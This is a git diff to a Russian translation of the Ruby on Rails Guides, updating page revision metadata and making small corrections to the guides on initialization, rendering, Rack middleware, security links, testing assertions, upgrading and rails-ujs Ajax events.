Pipeline path: asset-pipeline file: asset_pipeline.md - revision: de2afdc457d63ee628b5cac4e7bb73812e016e38 - date: 06/10/2017 + revision: b6baf0c88411824ce99f1ad4b9de64fa37ad96ea + date: 30/11/2017 - title: Работа с JavaScript в Rails path: working-with-javascript-in-rails file: working_with_javascript_in_rails.md - revision: c9527652c753dd8fe3ac120a05f5e80d6d691346 - date: 18/09/2017 + revision: b6baf0c88411824ce99f1ad4b9de64fa37ad96ea + date: 30/11/2017 - title: Engine для начинающих path: engines file: engines.md - revision: 0149481b1b29ac15197f1abe8a3961d8cb2926b6 - date: 13/10/2017 + revision: 092d1af137d6d52349880417923874e17508e608 + date: 26/11/2017 - title: Процесс инициализации в Rails path: initialization file: initialization.md - revision: ad80cef22dda9904ac42966a1e216057d19e3504 - date: 11/09/2017 + revision: b6baf0c88411824ce99f1ad4b9de64fa37ad96ea + date: 30/11/2017 - title: Автозагрузка и перезагрузка констант path: constant_autoloading_and_reloading file: autoloading_and_reloading_constants.md - revision: c9527652c753dd8fe3ac120a05f5e80d6d691346 - date: 18/09/2017 + revision: a235b9f9d1656b6f47d1100f2fd07130ddaf1fa1 + date: 01/11/2017 - title: Обзор Action Cable path: action-cable-overview file: action_cable_overview.md - revision: 3b66804c81c0698e96ceebd7dd02fa0dc4c54e26 - date: 26/10/2017 + revision: d5eb8f23c8543ae3c8cff6aefdbb6bbcf2f28128 + date: 22/11/2017 - title: Основы создания плагинов Rails path: plugins @@ -207,8 +207,8 @@ pages: - title: Rails on Rack path: rails-on-rack file: rails_on_rack.md - revision: aa5e551eb8b8988f5e6430463f01d483b1bd9346 - date: 21/08/2017 + revision: 5fb36d03dba0eb5309788b53372ebe7dd980639d + date: 27/11/2017 - title: Создание и настройка генераторов Rails path: generators @@ -219,8 +219,8 @@ pages: - title: Использование Rails для API-приложений path: api-app file: api_app.md - revision: bf48e90e6925eea5ba74a09988d2b20dd553c845 - date: 23/08/2017 + revision: 1997c9a13730cc82e3c4d42ab2995452cfa21074 + date: 19/11/2017 - title: Вносим вклад в Ruby on Rails path: contributing_to_ruby_on_rails @@ -231,8 +231,8 @@ pages: - title: Рекомендации по документированию API path: api_documentation_guidelines file: api_documentation_guidelines.md - revision: 783295f7065952e508a061c3d8acead16a9a39b1 - date: 23/08/2017 + revision: 7fbaed1947705413ed25190224cbb1769ae5a061 + date: 10/11/2017 - title: Рекомендации для руководств по Ruby on Rails path: ruby_on_rails_guides_guidelines @@ -249,8 +249,8 @@ pages: - title: Руководство по обновлению Ruby on Rails path: upgrading-ruby-on-rails file: upgrading_ruby_on_rails.md - revision: bf48e90e6925eea5ba74a09988d2b20dd553c845 - date: 23/08/2017 + revision: b6baf0c88411824ce99f1ad4b9de64fa37ad96ea + date: 30/11/2017 - title: Руководство по шаблонам приложения Rails path: rails-application-templates @@ -273,38 +273,38 @@ pages: - title: Заметки о релизе Ruby on Rails 3.2 path: 3_2_release_notes file: 3_2_release_notes.md - revision: 906c1d8f59a4c37c8e3e2efe9f6f594aeb597d69 - date: 24/08/2017 + revision: b6baf0c88411824ce99f1ad4b9de64fa37ad96ea + date: 30/11/2017 - title: Заметки о релизе Ruby on Rails 4.0 path: 4_0_release_notes file: 4_0_release_notes.md - revision: bf48e90e6925eea5ba74a09988d2b20dd553c845 - date: 23/08/2017 + revision: de2afdc457d63ee628b5cac4e7bb73812e016e38 + date: 06/10/2017 - title: Заметки о релизе Ruby on Rails 4.1 path: 4_1_release_notes file: 4_1_release_notes.md - revision: d495592541b031bc165c5fb0116a33e5cb943fb7 - date: 28/02/2015 + revision: b6baf0c88411824ce99f1ad4b9de64fa37ad96ea + date: 30/11/2017 - title: Заметки о релизе Ruby on Rails 4.2 path: 4_2_release_notes file: 4_2_release_notes.md - revision: de2afdc457d63ee628b5cac4e7bb73812e016e38 - date: 06/10/2017 + revision: b6baf0c88411824ce99f1ad4b9de64fa37ad96ea + date: 30/11/2017 - title: Заметки о релизе Ruby on Rails 5.0 path: 5_0_release_notes file: 5_0_release_notes.md - revision: 4b3ee155f916a60da34c4f3df72b83adc891779e - date: 26/08/2017 + revision: de2afdc457d63ee628b5cac4e7bb73812e016e38 + date: 06/10/2017 - title: Заметки о релизе Ruby on Rails 5.1 path: 5_1_release_notes file: 5_1_release_notes.md - revision: 846990b4881adc5612c3f818a3e1cc5695b3906d - date: 17/09/2017 + revision: 67550f16129a293a4bff76f4311b6eb552361aa1 + date: 27/10/2017 - title: Политика поддержки (версий) path: maintenance-policy diff --git a/source/initialization.md b/source/initialization.md index 1eb548e9..d193a004 100644 --- a/source/initialization.md +++ b/source/initialization.md @@ -71,7 +71,7 @@ ENV['BUNDLE_GEMFILE'] ||= File.expand_path('../Gemfile', __dir__) require 'bundler/setup' # Set up gems listed in the Gemfile. ``` -В стандартном приложении Rails имеется `Gemfile`, объявляющий все зависимости приложения. `config/boot.rb` устанавливает `ENV['BUNDLE_GEMFILE']` как расположение этого файла. Затем, если Gemfile существует, будет затребован `bundler/setup`. Строка используется Bundler-ом для настройки путей загрузки для зависимостей вашего Gemfile. +В стандартном приложении Rails имеется `Gemfile`, объявляющий все зависимости приложения. `config/boot.rb` устанавливает `ENV['BUNDLE_GEMFILE']` как расположение этого файла. Затем, если `Gemfile` существует, будет затребован `bundler/setup`. Строка используется Bundler-ом для настройки путей загрузки для зависимостей вашего `Gemfile`. Стандартное Rails приложение зависит от нескольких гемов, а именно: diff --git a/source/layouts_and_rendering.md b/source/layouts_and_rendering.md index 3a752885..085ed334 100644 --- a/source/layouts_and_rendering.md +++ b/source/layouts_and_rendering.md @@ -268,7 +268,7 @@ render body: "raw" TIP: Эта опция должна использоваться, только если вам не важен тип содержимого ответа. Использование `:plain` или `:html` уместнее в большинстве случаев. -NOTE: Возвращенным откликом от этой опции будет `text/html` (если не будет переопределен), +NOTE: Возвращенным откликом от этой опции будет `text/plain` (если не будет переопределен), так как это тип содержимого по умолчанию у отклика Action Dispatch. #### Опции для `render` @@ -1240,7 +1240,7 @@ Rails определяет имя партиала, изучая имя моде В этом случае, партиал имеет доступ к локальной переменной `title` со значением "Products Page". -TIP: Rails также создает переменную счетчика, доступную в партиале, вызываемом коллекцией, названную именем члена коллекции с добавленным `_counter`. Например, если рендерится `@products`, в партиале можно обратиться к `product_counter`, который говорит, сколько раз партиал был отрендерен. Это не работает в сочетании с опцией `as: :value`. +TIP: Rails также создает переменную счетчика, доступную в партиале, вызываемом коллекцией, названную именем заголовка партиала с добавленным `_counter`. Например, при рендеринге коллекции `@products` партиал `_product.html.erb` может получить доступ к переменной `product_counter`, которая индексирует количество раз, сколько оно было отрендерено во внешнюю вьюху. Также можно определить второй партиал, который будет отрендерен между экземплярами главного партиала, используя опцию `:spacer_template`: diff --git a/source/rails_on_rack.md b/source/rails_on_rack.md index ff93de2a..2579b9ff 100644 --- a/source/rails_on_rack.md +++ b/source/rails_on_rack.md @@ -114,6 +114,7 @@ use ActiveRecord::Migration::CheckPending use ActionDispatch::Cookies use ActionDispatch::Session::CookieStore use ActionDispatch::Flash +use ActionDispatch::ContentSecurityPolicy::Middleware use Rack::Head use Rack::ConditionalGet use Rack::ETag diff --git a/source/security.md b/source/security.md index 0816c440..7e5f58dd 100644 --- a/source/security.md +++ b/source/security.md @@ -47,7 +47,7 @@ User.find(session[:user_id]) NOTE: _ID сессии - это 32-символьная случайная шестнадцатеричная строка._ -ID сессии генерируется с помощью `SecureRandom.hex`, который генерирует случайную шестнадцатеричную строку с помощью зависимых от платформы методов (таких как OpenSSL, /dev/urandom или Win32) генерации криптографически устойчивых случайных чисел. В настоящее время не представляется возможным брутфорсить ID сессии Rails. +ID сессии генерируется с помощью `SecureRandom.hex`, который генерирует случайную шестнадцатеричную строку с помощью зависимых от платформы методов (таких как OpenSSL, /dev/urandom или Win32 CryptoAPI) генерации криптографически устойчивых случайных чисел. В настоящее время не представляется возможным брутфорсить ID сессии Rails. ### Похищение сессии @@ -132,7 +132,7 @@ end Хотя можно установить столько ротаций, сколько необходимо для того, чтобы не было много ротаций в любой момент времени. -Для получения дополнительной информации о ротации ключа с зашифрованными и подписанными сообщениями, а также о различных опциях, которые принимает метод `rotate`, обратитесь, пожалуйста, к документации по [MessageEncryptor API](api.rubyonrails.org/classes/ActiveSupport/MessageEncryptor.html) и [MessageVerifier API](api.rubyonrails.org/classes/ActiveSupport/MessageVerifier.html). +Для получения дополнительной информации о ротации ключа с зашифрованными и подписанными сообщениями, а также о различных опциях, которые принимает метод `rotate`, обратитесь, пожалуйста, к документации по [MessageEncryptor API](http://api.rubyonrails.org/classes/ActiveSupport/MessageEncryptor.html) и [MessageVerifier API](http://api.rubyonrails.org/classes/ActiveSupport/MessageVerifier.html). ### Атаки воспроизведения для сессий CookieStore @@ -1059,7 +1059,7 @@ Rails.application.credentials.some_api_key! # => вызовет KeyError: :some_ Картина безопасности меняется, и важно идти в ногу со временем, поскольку пропуск новой уязвимости может быть катастрофическим. Ниже перечислены дополнительные источники о безопасности (Rails): -* Подпишитесь на [рассылку](https://groups.google.com/group/rubyonrails-security) о безопасности Rails. +* Подпишитесь на [рассылку](https://groups.google.com/forum/#!forum/rubyonrails-security) о безопасности Rails. * [Brakeman - сканер безопасности Rails](https://brakemanscanner.org/) - Для выполнения статического анализа безопасности для Rails приложений. * [Будьте в курсе о других уровнях приложений.](http://secunia.com/) (у них тоже есть еженедельная рассылка). * [Хороший блог по безопасности](https://www.owasp.org), включающий [Шпаргалку по XSS.](https://www.owasp.org/index.php/DOM_based_XSS_Prevention_Cheat_Sheet). diff --git a/source/testing.md b/source/testing.md index 691ccd28..e0e0bc68 100644 --- a/source/testing.md +++ b/source/testing.md @@ -272,37 +272,39 @@ end Ниже представлена выдержка утверждений, которые вы можете использовать с [`Minitest`](https://github.com/seattlerb/minitest), библиотекой тестирования, используемой Rails по умолчанию. Параметр `[msg]` - это опциональное строковое сообщение, которое вы можете указать для того, чтобы сделать сообщение о провале более ясным. -| Утверждение | Назначение | -| --------------------------------------------------------- | ---------- | -| `assert( test, [msg] )` | Утверждает, что `test` истинно.| -| `assert_not( test, [msg] )` | Утверждает, что `test` ложно.| -| `assert_equal( expected, actual, [msg] )` | Утверждает, что `expected == actual` истинно.| -| `assert_not_equal( expected, actual, [msg] )` | Утверждает, что `expected != actual` истинно.| -| `assert_same( expected, actual, [msg] )` | Утверждает, что `expected.equal?(actual)` истинно.| -| `assert_not_same( expected, actual, [msg] )` | Утверждает, что `expected.equal?(actual)` ложно.| -| `assert_nil( obj, [msg] )` | Утверждает, что `obj.nil?` истинно.| -| `assert_not_nil( obj, [msg] )` | Утверждает, что `obj.nil?` ложно.| -| `assert_empty( obj, [msg] )` | Утверждает, что `obj` является `empty?`.| -| `assert_not_empty( obj, [msg] )` | Утверждает, что `obj` не является `empty?`.| -| `assert_match( regexp, string, [msg] )` | Утверждает, что строка соответствует регулярному выражению.| -| `assert_no_match( regexp, string, [msg] )` | Утверждает, что строка не соответствует регулярному выражению.| -| `assert_includes( collection, obj, [msg] )` | Утверждает, что `obj` находится в `collection`.| -| `assert_not_includes( collection, obj, [msg] )` | Утверждает, что `obj` не находится в `collection`.| -| `assert_in_delta( expected, actual, [delta], [msg] )` | Утверждает, что между числами `expected` и `actual` разницу `delta`.| -| `assert_not_in_delta( expected, actual, [delta], [msg] )` | Утверждает, что между числами `expected` и `actual` разница, отличная от `delta`.| -| `assert_throws( symbol, [msg] ) { block }` | Утверждает, что переданный блок бросает symbol.| -| `assert_raises( exception1, exception2, ... ) { block }` | Утверждает, что переданный блок генерирует одно из переданных исключений.| -| `assert_instance_of( class, obj, [msg] )` | Утверждает, что `obj` является экземпляром `class`.| -| `assert_not_instance_of( class, obj, [msg] )` | Утверждает, что `obj` не является экземпляром `class`.| -| `assert_kind_of( class, obj, [msg] )` | Утверждает, что `obj` является экземпляром `class` или класса, наследуемого от него.| -| `assert_not_kind_of( class, obj, [msg] )` | Утверждает, что `obj` не является экземпляром `class` или класса, наследуемого от него.| -| `assert_respond_to( obj, symbol, [msg] )` | Утверждает, что `obj` отвечает на `symbol`.| -| `assert_not_respond_to( obj, symbol, [msg] )` | Утверждает, что `obj` не отвечает на `symbol`.| -| `assert_operator( obj1, operator, [obj2], [msg] )` | Утверждает, что `obj1.operator(obj2)` истинно.| -| `assert_not_operator( obj1, operator, [obj2], [msg] )` | Утверждает, что `obj1.operator(obj2)` ложно.| -| `assert_predicate ( obj, predicate, [msg] )` | Утверждает, что `obj.predicate` истинно, т.е. `assert_predicate str, :empty?`| -| `assert_not_predicate ( obj, predicate, [msg] )` | Утверждает, что `obj.predicate` ложно, т.е. `assert_not_predicate str, :empty?`| -| `flunk( [msg] )` | Утверждает провал. Это полезно для явного указания теста, который еще не закончен.| +| Утверждение | Назначение | +| -------------------------------------------------------------- | ---------- | +| `assert( test, [msg] )` | Утверждает, что `test` истинно.| +| `assert_not( test, [msg] )` | Утверждает, что `test` ложно.| +| `assert_equal( expected, actual, [msg] )` | Утверждает, что `expected == actual` истинно.| +| `assert_not_equal( expected, actual, [msg] )` | Утверждает, что `expected != actual` истинно.| +| `assert_same( expected, actual, [msg] )` | Утверждает, что `expected.equal?(actual)` истинно.| +| `assert_not_same( expected, actual, [msg] )` | Утверждает, что `expected.equal?(actual)` ложно.| +| `assert_nil( obj, [msg] )` | Утверждает, что `obj.nil?` истинно.| +| `assert_not_nil( obj, [msg] )` | Утверждает, что `obj.nil?` ложно.| +| `assert_empty( obj, [msg] )` | Утверждает, что `obj` является `empty?`.| +| `assert_not_empty( obj, [msg] )` | Утверждает, что `obj` не является `empty?`.| +| `assert_match( regexp, string, [msg] )` | Утверждает, что строка соответствует регулярному выражению.| +| `assert_no_match( regexp, string, [msg] )` | Утверждает, что строка не соответствует регулярному выражению.| +| `assert_includes( collection, obj, [msg] )` | Утверждает, что `obj` находится в `collection`.| +| `assert_not_includes( collection, obj, [msg] )` | Утверждает, что `obj` не находится в `collection`.| +| `assert_in_delta( expected, actual, [delta], [msg] )` | Утверждает, что между числами `expected` и `actual` разницу `delta`.| +| `assert_not_in_delta( expected, actual, [delta], [msg] )` | Утверждает, что между числами `expected` и `actual` разница, отличная от `delta`.| +| `assert_in_epsilon ( expected, actual, [epsilon], [msg] )` | Утверждает, что между числами `expected` и `actual` относительная погрешность меньше, чем `epsilon`.| +| `assert_not_in_epsilon ( expected, actual, [epsilon], [msg] )` | Утверждает, что между числами `expected` и `actual` относительная погрешность не меньше, чем `epsilon`.| +| `assert_throws( symbol, [msg] ) { block }` | Утверждает, что переданный блок бросает symbol.| +| `assert_raises( exception1, exception2, ... ) { block }` | Утверждает, что переданный блок генерирует одно из переданных исключений.| +| `assert_instance_of( class, obj, [msg] )` | Утверждает, что `obj` является экземпляром `class`.| +| `assert_not_instance_of( class, obj, [msg] )` | Утверждает, что `obj` не является экземпляром `class`.| +| `assert_kind_of( class, obj, [msg] )` | Утверждает, что `obj` является экземпляром `class` или класса, наследуемого от него.| +| `assert_not_kind_of( class, obj, [msg] )` | Утверждает, что `obj` не является экземпляром `class` или класса, наследуемого от него.| +| `assert_respond_to( obj, symbol, [msg] )` | Утверждает, что `obj` отвечает на `symbol`.| +| `assert_not_respond_to( obj, symbol, [msg] )` | Утверждает, что `obj` не отвечает на `symbol`.| +| `assert_operator( obj1, operator, [obj2], [msg] )` | Утверждает, что `obj1.operator(obj2)` истинно.| +| `assert_not_operator( obj1, operator, [obj2], [msg] )` | Утверждает, что `obj1.operator(obj2)` ложно.| +| `assert_predicate ( obj, predicate, [msg] )` | Утверждает, что `obj.predicate` истинно, т.е. `assert_predicate str, :empty?`| +| `assert_not_predicate ( obj, predicate, [msg] )` | Утверждает, что `obj.predicate` ложно, т.е. `assert_not_predicate str, :empty?`| +| `flunk( [msg] )` | Утверждает провал. Это полезно для явного указания теста, который еще не закончен.| Представленный выше список утверждений поддерживается minitest. Более полный и более актуальный список всех доступных утверждений смотрите в [документации Minitest API](http://docs.seattlerb.org/minitest/), в частности [`Minitest::Assertions`](http://docs.seattlerb.org/minitest/Minitest/Assertions.html) @@ -586,7 +588,7 @@ end При генерации нового приложения или скаффолда, в тестовой директории будет создан файл `application_system_test_case.rb`. Это то самое место, где должны находиться все настройки для ваших системных тестов. -Если хотите изменить настройки по умолчанию, надо изменить то, с помощью чего "запускаются" ваши системные тесты. Скажем, вы хотите изменить драйвер с Selenium на Poltergeist. Сначала добавьте гем `poltergeist` в свой Gemfile. Затем сделайте в своем файле `application_system_test_case.rb` следующее: +Если хотите изменить настройки по умолчанию, надо изменить то, с помощью чего "запускаются" ваши системные тесты. Скажем, вы хотите изменить драйвер с Selenium на Poltergeist. Сначала добавьте гем `poltergeist` в свой `Gemfile`. Затем сделайте в своем файле `application_system_test_case.rb` следующее: ```ruby require "test_helper" @@ -607,6 +609,16 @@ class ApplicationSystemTestCase < ActionDispatch::SystemTestCase end ``` +Если необходимо использовать headless-браузер, можно использовать Headless Chrome или Headless Firefox, добавив `headless_chrome` или `headless_firefox` в аргумент `:using`. + +```ruby +require "test_helper" + +class ApplicationSystemTestCase < ActionDispatch::SystemTestCase + driven_by :selenium, using: :headless_chrome +end +``` + Если вашей конфигурации для Capybara требуется больше настроек, чем предоставлено Rails, то эту дополнительную конфигурацию можно поместить в файл `application_system_test_case.rb`. За дополнительными настройками обратитесь к [документации Capybara](https://github.com/teamcapybara/capybara#setup). diff --git a/source/upgrading_ruby_on_rails.md b/source/upgrading_ruby_on_rails.md index 87b26537..42924b43 100644 --- a/source/upgrading_ruby_on_rails.md +++ b/source/upgrading_ruby_on_rails.md @@ -23,7 +23,7 @@ 3. Чините тесты и устаревшие особенности. 4. Переходите на последнюю версию patch следующей версии minor. -Повторяйте этот процесс, пока не достигнете целевой версии Rails. Каждый раз, как вы переходите на новую версию, необходимо изменить номер версии Rails в Gemfile (и, возможно, версии других гемов) и запустить `bundle update`. Затем запустите задачу Update, упомянутую ниже, чтобы обновить конфигурационные файлы, затем запустите свои тесты. +Повторяйте этот процесс, пока не достигнете целевой версии Rails. Каждый раз, как вы переходите на новую версию, необходимо изменить номер версии Rails в `Gemfile` (и, возможно, версии других гемов) и запустить `bundle update`. Затем запустите задачу Update, упомянутую ниже, чтобы обновить конфигурационные файлы, затем запустите свои тесты. Полный список всех выпущенных версий Rails можно найти [тут](https://rubygems.org/gems/rails/versions). @@ -40,7 +40,7 @@ TIP: В Ruby 1.8.7 p248 и p249 имеются ошибки маршализац ### Задача Update -Rails предоставляет задачу `app:update` (`rake rails:update` на 4.2 и раньше). После обновления версии Rails в Gemfile, запустите эту задачу. Она поможет вам с созданием новых файлов и изменением старых файлов в интерактивной сессии. +Rails предоставляет задачу `app:update` (`rake rails:update` на 4.2 и раньше). После обновления версии Rails в `Gemfile`, запустите эту задачу. Она поможет вам с созданием новых файлов и изменением старых файлов в интерактивной сессии. ```bash $ rails app:update @@ -147,7 +147,7 @@ end #### Извлечение некоторых методов хелпера в `rails-controller-testing` -`assigns` и `assert_template` были извлечены в гем `rails-controller-testing`. Чтобы продолжить использование этих методов, добавьте `gem 'rails-controller-testing'` в свой Gemfile. +`assigns` и `assert_template` были извлечены в гем `rails-controller-testing`. Чтобы продолжить использование этих методов, добавьте `gem 'rails-controller-testing'` в свой `Gemfile`. Если вы используете Rspec для тестирования, обратитесь к документации гема по требуемой дополнительной конфигурации. @@ -169,7 +169,7 @@ end ### Сериализация в XML -`ActiveModel::Serializers::Xml` был извлечен из Rails в гем `activemodel-serializers-xml`. Чтобы продолжить сериализацию в XML в вашем приложении, добавьте `gem 'activemodel-serializers-xml'`в свой Gemfile. +`ActiveModel::Serializers::Xml` был извлечен из Rails в гем `activemodel-serializers-xml`. Чтобы продолжить сериализацию в XML в вашем приложении, добавьте `gem 'activemodel-serializers-xml'`в свой `Gemfile`. ### Убрана поддержка старой версии адаптера `mysql` @@ -223,7 +223,7 @@ Rails 5 добавляет возможность запускать задач ### `ActionView::Helpers::RecordTagHelper` перемещен в отдельный гем (record_tag_helper) -`content_tag_for` и `div_for` были убраны в пользу использования `content_tag`. Чтобы продолжить использование старых методов, добавьте гем `record_tag_helper` в свой Gemfile: +`content_tag_for` и `div_for` были убраны в пользу использования `content_tag`. Чтобы продолжить использование старых методов, добавьте гем `record_tag_helper` в свой `Gemfile`: ```ruby gem 'record_tag_helper', '~> 1.0' @@ -339,11 +339,11 @@ Rails 5 теперь поддерживает токены CSRF для форм ### Web Console -Сначала добавьте `gem 'web-console', '~> 2.0'` в группу `:development` своего Gemfile и запустите `bundle install` (он не включится при обновлении Rails). Как только он будет установлен, можно просто оставлять обращение к хелперу консоли (т.е., `<%= console %>`) в любой вьюхе, в которой вы ее хотите включить. Консоль также предоставляется на любой странице ошибок в среде development. +Сначала добавьте `gem 'web-console', '~> 2.0'` в группу `:development` своего `Gemfile` и запустите `bundle install` (он не включится при обновлении Rails). Как только он будет установлен, можно просто оставлять обращение к хелперу консоли (т.е., `<%= console %>`) в любой вьюхе, в которой вы ее хотите включить. Консоль также предоставляется на любой странице ошибок в среде development. ### Responders -Метод `respond_with` и метод класса `respond_to` были извлечены в гем `responders`. Для их использования просто добавьте `gem 'responders', '~> 2.0'` в свой Gemfile. Вызовы `respond_with` и `respond_to` (на уровне класса) больше не будут работать без подключения гема `responders` к зависимостям: +Метод `respond_with` и метод класса `respond_to` были извлечены в гем `responders`. Для их использования просто добавьте `gem 'responders', '~> 2.0'` в свой `Gemfile`. Вызовы `respond_with` и `respond_to` (на уровне класса) больше не будут работать без подключения гема `responders` к зависимостям: ```ruby # app/controllers/users_controller.rb @@ -458,7 +458,7 @@ end Документация для `PermitScrubber` и `TargetScrubber` объясняет, как можно получить полный контроль над тем, когда и как элементы должны быть отброшены. -Если вашему приложению необходима реализация старого санитайзера, включите `rails-deprecated_sanitizer` в свой Gemfile: +Если вашему приложению необходима реализация старого санитайзера, включите `rails-deprecated_sanitizer` в свой `Gemfile`: ```ruby gem 'rails-deprecated_sanitizer' @@ -504,7 +504,7 @@ DSL миграций был расширен поддержкой определ Процедура миграции следующая: -1. убрать `gem "foreigner"` из Gemfile. +1. убрать `gem "foreigner"` из `Gemfile`. 2. запустить `bundle install`. 3. запустить `bin/rake db:schema:dump`. 4. убедиться, что `db/schema.rb` содержит каждое определение внешнего ключа с необходимыми опциями. @@ -630,7 +630,7 @@ MultiJSON потерял [смысл своего существования](ht Если ваше приложение сейчас непосредственно зависит от MultiJSON, у вас несколько вариантов: -1. Добавьте 'multi_json' в свой Gemfile. Отметьте, что это может что-нибудь сломать в будущем +1. Добавьте 'multi_json' в свой `Gemfile`. Отметьте, что это может что-нибудь сломать в будущем 2. Уйти от MultiJSON в пользу использования вместо него `obj.to_json` и `JSON.parse(str)` @@ -662,7 +662,7 @@ end 3. Опция для кодирования объектов `BigDecimal` как числа, вместо строк Если ваше приложение зависит от одной из этих особенностей, их можно вернуть, добавив гем [`activesupport-json_encoder`](https://github.com/rails/activesupport-json_encoder) -в свой Gemfile. +в свой `Gemfile`. #### Представление в JSON объектов Time @@ -938,7 +938,7 @@ Mime::Type.register 'application/json-patch+json', :json_patch ### Gemfile -Rails 4.0 убрал группу `assets` из Gemfile. Вам нужно убрать эту строчку из Gemfile перед обновлением. Также следует обновить файл приложения (`config/application.rb`): +Rails 4.0 убрал группу `assets` из `Gemfile`. Вам нужно убрать эту строчку из `Gemfile` перед обновлением. Также следует обновить файл приложения (`config/application.rb`): ```ruby # Require the gems listed in Gemfile, including any gems @@ -948,7 +948,7 @@ Bundler.require(*Rails.groups) ### vendor/plugins -Rails 4.0 больше не поддерживает загрузку плагинов из `vendor/plugins`. Следует переместить любые плагины, извлекая их в гемы и помещая их в Gemfile. Если решаете не делать гемы, можно переместить их, скажем, в `lib/my_plugin/*` и добавить соответствующий инициализатор в `config/initializers/my_plugin.rb`. +Rails 4.0 больше не поддерживает загрузку плагинов из `vendor/plugins`. Следует переместить любые плагины, извлекая их в гемы и помещая их в `Gemfile`. Если решаете не делать гемы, можно переместить их, скажем, в `lib/my_plugin/*` и добавить соответствующий инициализатор в `config/initializers/my_plugin.rb`. ### Active Record @@ -1012,7 +1012,7 @@ end ### Active Resource -Rails 4.0 извлек Active Resource в отдельный гем. Если вам все еще нужна эта особенность, можете добавить [гем Active Resource](https://github.com/rails/activeresource) в своем Gemfile. +Rails 4.0 извлек Active Resource в отдельный гем. Если вам все еще нужна эта особенность, можете добавить [гем Active Resource](https://github.com/rails/activeresource) в своем `Gemfile`. ### Active Model @@ -1205,7 +1205,7 @@ config.active_record.mass_assignment_sanitizer = :strict ### vendor/plugins -В Rails 3.2 устаревает `vendor/plugins`, а в Rails 4.0 будет убрана полностью. Хотя это и не требуется строго при обновлении на Rails 3.2, можно начать перемещать любые плагины, извлекая их в гемы и помещая их в Gemfile. Если решаете не делать гемы, можно переместить их, скажем, в `lib/my_plugin/*` и добавить соответствующий инициализатор в `config/initializers/my_plugin.rb`. +В Rails 3.2 устаревает `vendor/plugins`, а в Rails 4.0 будет убрана полностью. Хотя это и не требуется строго при обновлении на Rails 3.2, можно начать перемещать любые плагины, извлекая их в гемы и помещая их в `Gemfile`. Если решаете не делать гемы, можно переместить их, скажем, в `lib/my_plugin/*` и добавить соответствующий инициализатор в `config/initializers/my_plugin.rb`. ### Active Record diff --git a/source/working_with_javascript_in_rails.md b/source/working_with_javascript_in_rails.md index 68ddcfc1..c86eacf5 100644 --- a/source/working_with_javascript_in_rails.md +++ b/source/working_with_javascript_in_rails.md @@ -126,7 +126,7 @@ Rails предоставляет ряд вспомогательных мето Это сгенерирует следующий HTML: ```html -
    + ...
    ``` @@ -137,14 +137,17 @@ Rails предоставляет ряд вспомогательных мето ```coffeescript $(document).ready -> - $("#new_article").on("ajax:success", (e, data, status, xhr) -> + $("#new_article").on("ajax:success", (event) -> + [data, status, xhr] = event.detail $("#new_article").append xhr.responseText - ).on "ajax:error", (e, xhr, status, error) -> + ).on "ajax:error", (event) -> $("#new_article").append "

    ERROR

    " ``` Очевидно, что хочется чего-то большего, но ведь это только начало. +NOTE: Начиная с Rails 5.1 и новее `rails-ujs`, параметры `data, status, xhr` были добавлены в `event.detail`. Для получения информации о ранее используемом `jquery-ujs` в Rails 5 и более ранних версиях, читайте [`jquery-ujs`](https://github.com/rails/jquery-ujs/wiki/ajax). + #### link_to [`link_to`](http://api.rubyonrails.org/classes/ActionView/Helpers/UrlHelper.html#method-i-link_to) - это хелпер, помогающий генерировать ссылки. У него есть опция `:remote`, которую используют следующим образом: @@ -169,7 +172,7 @@ $(document).ready -> ```coffeescript $ -> - $("a[data-remote]").on "ajax:success", (e, data, status, xhr) -> + $("a[data-remote]").on "ajax:success", (event) -> alert "The article was deleted." ``` @@ -259,29 +262,6 @@ NOTE: Поскольку отправка форм с помощью метод ``` -Работа с событиями Ajax ------------------------- - -Ниже перечислены различные события, которые срабатывают при обработке элементов с атрибутом `data-remote`: - -NOTE: Все обработчики, привязанные к этим событиям, всегда передают объект события в качестве первого аргумента. В приведенной ниже таблице описаны дополнительные параметры, переданные после аргумента события. Например, если дополнительные параметры указаны как `xhr, settings`, то для доступа к ним вы должны определить ваш обработчик с помощью `function(event, xhr, settings)`. - -| Имя события | Доп. параметры | Срабатывают | -|---------------------|------------------|-------------------------------------------------------------| -| `ajax:before` | | Перед всем ajax-бизнесом, прерывается, если остановлен. | -| `ajax:beforeSend` | xhr, options | Перед отправкой запроса, прерывается, если остановлен. | -| `ajax:send` | xhr | Когда запрос отправлен. | -| `ajax:success` | xhr, status, err | После завершения, если ответ был success. | -| `ajax:error` | xhr, status, err | После завершения, если ответ был error. | -| `ajax:complete` | xhr, status | После завершения запроса, независимо от результата. | -| `ajax:aborted:file` | elements | Если входной файл - непустой, прерывается, если остановлен. | - -### Останавливаемые события - -Если вы остановите `ajax:before` или `ajax:beforeSend`, возвратив false из обработчика метода, запрос Ajax никогда не будет выполнен. Событие `ajax:before` также полезно для манипулирования данными формы перед сериализацией. Событие `ajax:beforeSend` также полезно для добавления пользовательских заголовков запроса. - -Если вы остановите событие `ajax:aborted:file`, поведение по умолчанию, позволяющее браузеру отправлять форму обычным способом (то есть не-Ajax представление), будет отменено и форма вообще не будет отправлена. Это полезно для реализации вашего собственного Ajax способа загрузки файлов. - ### Обработчики событий Rails-ujs Rails 5.1 представил rails-ujs и убрал поддержку jQuery как зависимости. Как результат, ненавязчивый драйвер JavaScript (UJS) был переписан для работы без jQuery. Эти нововведения приводят к небольшим изменениям в `пользовательских событиях`, срабатывающих во время запроса: @@ -307,6 +287,14 @@ document.body.addEventListener('ajax:success', function(event) { }) ``` +NOTE: Начиная с Rails 5.1 и новее `rails-ujs`, параметры `data, status, xhr` были добавлены в `event.detail`. Для получения информации о ранее используемом `jquery-ujs` в Rails 5 и более ранних версиях, читайте [`jquery-ujs`](https://github.com/rails/jquery-ujs/wiki/ajax). + +### Останавливаемые события + +Если остановить `ajax:before` или `ajax:beforeSend`, возвратится false из обработчика метода, запрос Ajax никогда не будет выполнен. Событие `ajax:before` может манипулировать данными формы перед сериализацией и событие `ajax:beforeSend` полезно для добавления пользовательских заголовков запроса. + +Если остановить событие `ajax:aborted:file`, поведение по умолчанию, позволяющее браузеру отправлять форму обычным способом (то есть не-Ajax представление), будет отменено и форма вообще не будет отправлена. Это полезно для реализации вашего собственного Ajax способа загрузки файлов. + Со стороны сервера ------------------ @@ -388,7 +376,7 @@ Rails поставляется с [библиотекой Turbolinks](https://gi Turbolinks добавляет обработчик щелчков на всех тегах `
